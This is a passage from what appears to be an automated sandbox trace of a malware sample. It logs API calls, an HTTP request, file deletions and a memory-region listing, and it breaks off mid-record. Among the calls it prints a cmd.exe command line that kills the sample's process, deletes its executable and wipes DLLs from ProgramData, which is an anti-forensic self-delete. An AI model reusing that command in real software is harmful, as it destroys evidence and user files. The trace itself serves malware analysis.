GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.357] GetLastError () returned 0x0 [0103.357] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.362] SetLastError (dwErrCode=0x0) [0103.362] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.363] GetLastError () returned 0x0 [0103.363] SetLastError (dwErrCode=0x0) [0103.367] GetLastError () returned 0x0 [0103.367] SetLastError (dwErrCode=0x0) [0103.367] GetLastError () returned 0x0 [0103.368] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.375] SetLastError (dwErrCode=0x0) [0103.375] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] GetLastError () returned 0x0 [0103.376] SetLastError (dwErrCode=0x0) [0103.376] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430538 [0103.376] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0103.377] lstrcatA (in: lpString1="C:\\ProgramData\\", lpString2="5EWX05TMHT8MSNJ9" | out: lpString1="C:\\ProgramData\\5EWX05TMHT8MSNJ9") returned="C:\\ProgramData\\5EWX05TMHT8MSNJ9" [0103.377] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430538 | out: hHeap=0x2110000) returned 1 [0103.377] lstrcatA (in: lpString1="C:\\ProgramData\\5EWX05TMHT8MSNJ9", lpString2=".exe" | out: lpString1="C:\\ProgramData\\5EWX05TMHT8MSNJ9.exe") returned="C:\\ProgramData\\5EWX05TMHT8MSNJ9.exe" [0103.389] GetLastError () returned 0x0 [0103.389] SetLastError (dwErrCode=0x0) [0103.392] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0103.393] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f39c, dwBufferLength=0x4) returned 1 [0103.393] InternetConnectA (hInternet=0xcc0004, lpszServerName="ok", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0103.393] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0103.393] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x80) returned 0x3430048 [0103.393] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0103.393] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0103.393] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0103.394] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0103.394] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0103.394] HttpSendRequestA (hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0) returned 0 [0105.682] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0105.682] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0105.682] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0105.706] GetLastError () returned 0x0 [0105.707] SetLastError (dwErrCode=0x0) [0105.707] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430f40 | out: hHeap=0x2110000) returned 1 [0105.707] CoUninitialize () [0105.717] SetCurrentDirectoryA (lpPathName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 1 [0105.720] SHFileOperationA (in: lpFileOp=0x19f7a8*(hwnd=0x0, wFunc=0x3, pFrom="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213", pTo="", fFlags=0x414, fAnyOperationsAborted=0, hNameMappings=0xb6c40000, lpszProgressTitle=0x4b) | out: lpFileOp=0x19f7a8*(hwnd=0x0, wFunc=0x3, pFrom="C:\\ProgramData\\2YDSS64UT35IVNKSMJZUYJ213", pTo="", fFlags=0x414, fAnyOperationsAborted=0, hNameMappings=0xb6c40000, lpszProgressTitle=0x4b)) returned 87 [0106.876] GetCurrentProcessId () returned 0x11ac [0106.876] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11ac) returned 0x52c [0106.876] GetModuleFileNameExA (in: hProcess=0x52c, hModule=0x0, lpFilename=0x19f5d0, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x62 [0106.876] CloseHandle (hObject=0x52c) returned 1 [0106.884] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x70) returned 0x3430048 [0106.884] GetCurrentProcessId () returned 0x11ac [0106.888] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x11ac) returned 0x52c [0106.888] EnumProcessModules (in: hProcess=0x52c, lphModule=0x19f5b8, cb=0x4, lpcbNeeded=0x19f5b4 | out: lphModule=0x19f5b8, lpcbNeeded=0x19f5b4) returned 1 [0106.889] GetModuleBaseNameA (in: hProcess=0x52c, hModule=0x400000, lpBaseName=0x19f5cc, nSize=0x104 | out: lpBaseName="1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe") returned 0x44 [0106.889] CloseHandle (hObject=0x52c) returned 1 [0106.889] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa718 [0106.890] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x77) returned 0x21104a0 [0106.890] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa718 | out: hHeap=0x2110000) returned 1 [0106.890] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0xe0) returned 0x21111c0 [0106.890] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0106.890] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x14f) returned 0x211ae90 [0106.890] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21111c0 | out: hHeap=0x2110000) returned 1 [0106.890] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430048 | out: hHeap=0x2110000) returned 1 [0106.892] ShellExecuteA (hwnd=0x0, lpOperation=0x0, lpFile="C:\\Windows\\System32\\cmd.exe", lpParameters="/c taskkill /im 1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe /f & timeout /t 6 & del /f /q \"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" & del C:\\ProgramData\\*.dll & exit", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0107.654] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ae90 | out: hHeap=0x2110000) returned 1 [0107.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab1a8 | out: hHeap=0x2110000) returned 1 [0107.662] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2111078 | out: hHeap=0x2110000) returned 1 [0107.666] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3330048 | out: hHeap=0x2110000) returned 1 [0107.666] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x363e020 | out: hHeap=0x2110000) returned 1 [0107.729] CoUninitialize () [0107.729] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21129c0 | out: hHeap=0x2110000) returned 1 [0107.729] Sleep (dwMilliseconds=0x6f) [0107.895] Sleep (dwMilliseconds=0x22b) [0108.590] Sleep (dwMilliseconds=0x14d) [0110.075] Sleep (dwMilliseconds=0x6f) [0110.629] Sleep (dwMilliseconds=0x22b) [0111.216] Sleep (dwMilliseconds=0x14d) [0111.868] Sleep (dwMilliseconds=0x6f) [0112.171] Sleep (dwMilliseconds=0x22b) [0113.654] Sleep (dwMilliseconds=0x14d) [0114.321] Sleep (dwMilliseconds=0x6f) [0114.442] Sleep (dwMilliseconds=0x22b) [0115.238] Sleep (dwMilliseconds=0x14d) [0115.804] Sleep (dwMilliseconds=0x6f) [0116.027] Sleep (dwMilliseconds=0x22b) [0116.842] Sleep (dwMilliseconds=0x14d) [0117.428] Sleep (dwMilliseconds=0x6f) [0118.699] Sleep (dwMilliseconds=0x22b) [0119.266] Sleep (dwMilliseconds=0x14d) Thread: id = 2 os_tid = 0xbb8 Thread: id = 3 os_tid = 0x2ec Thread: id = 4 os_tid = 0x7f8 Thread: id = 5 os_tid = 0x348 Thread: id = 14 os_tid = 0x1c8 Thread: id = 15 os_tid = 0x378 Thread: id = 16 os_tid = 0x398 Thread: id = 17 os_tid = 0x148 Thread: id = 18 os_tid = 0x374 Thread: id = 19 os_tid = 0x74c Process: id = "2" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0xb042000" os_pid = "0x884" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "rpc_server" parent_id = "1" os_parent_pid = "0x278" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}" cur_dir = "C:\\Windows\\system32\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f142" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 348 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 349 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 350 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 351 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 352 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 353 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 354 start_va = 0x170000 end_va = 0x170fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000170000" filename = "" Region: id = 355 start_va = 0x180000 end_va = 0x186fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 356 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 357 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 358 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 359 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 360 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 361 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 362 start_va = 0x1f0000 end_va = 0x1f7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 363 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 364 start_va = 0x400000 end_va = 0x4bdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 365 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004c0000" filename = "" Region: id = 366 start_va = 0x4d0000 end_va = 0x4dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004d0000" filename = "" Region: id = 367 start_va = 0x4e0000 end_va = 0x4effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004e0000" filename = "" Region: id = 368 start_va = 0x4f0000 end_va = 0x4fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000004f0000" filename = "" Region: id = 369 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000500000" filename = "" Region: id = 370 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000510000" filename = "" Region: id = 371 start_va = 0x520000 end_va = 0x520fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 372 start_va = 0x530000 end_va = 0x530fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000530000" filename = "" Region: id = 373 start_va = 0x540000 end_va = 0x543fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 374 start_va = 0x550000 end_va = 0x551fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 375 start_va = 0x560000 end_va = 0x560fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 376 start_va = 0x570000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 377 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 378 start_va = 0x680000 end_va = 0x68ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 379 start_va = 0x690000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 380 start_va = 0x6a0000 end_va = 0x6affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 381 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 382 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 383 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 384 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 385 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006f0000" filename = "" Region: id = 386 start_va = 0x700000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000700000" filename = "" Region: id = 387 start_va = 0x800000 end_va = 0x80ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 388 start_va = 0x810000 end_va = 0x81ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 389 start_va = 0x820000 end_va = 0x82ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 390 start_va = 0x830000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 391 start_va = 0x840000 end_va = 0x84ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 392 start_va = 0x850000 end_va = 0x85ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 393 start_va = 0x860000 end_va = 0x86ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 394 start_va = 0x870000 end_va = 0x877fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 395 start_va = 0x880000 end_va = 0x881fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 396 start_va = 0x890000 end_va = 0x89ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 397 start_va = 0x8a0000 end_va = 0x8affff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 398 start_va = 0x8b0000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 399 start_va = 0x8c0000 end_va = 0x8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008c0000" filename = "" Region: id = 400 start_va = 0x8d0000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000008d0000" filename = "" Region: id = 401 start_va = 0x9d0000 end_va = 0x9dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 402 start_va = 0x9e0000 end_va = 0x9effff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 403 start_va = 0x9f0000 end_va = 0x9fffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 404 start_va = 0xa00000 end_va = 0xa0ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 405 start_va = 0xa10000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 406 start_va = 0xa20000 end_va = 0xa2ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 407 start_va = 0xa30000 end_va = 0xa3ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 408 start_va = 0xa40000 end_va = 0xa4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 409 start_va = 0xa50000 end_va = 0xa5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "webcachev01.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\webcache\\webcachev01.dat") Region: id = 410 start_va = 0xa60000 end_va = 0xa67fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a60000" filename = "" Region: id = 411 start_va = 0xa70000 end_va = 0xa77fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a70000" filename = "" Region: id = 412 start_va = 0xad0000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 413 start_va = 0xbd0000 end_va = 0xd57fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000bd0000" filename = "" Region: id = 414 start_va = 0xd60000 end_va = 0xee0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d60000" filename = "" Region: id = 415 start_va = 0xef0000 end_va = 0x22effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ef0000" filename = "" Region: id = 416 start_va = 0x22f0000 end_va = 0x22fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000022f0000" filename = "" Region: id = 417 start_va = 0x2300000 end_va = 0x230ffff monitored 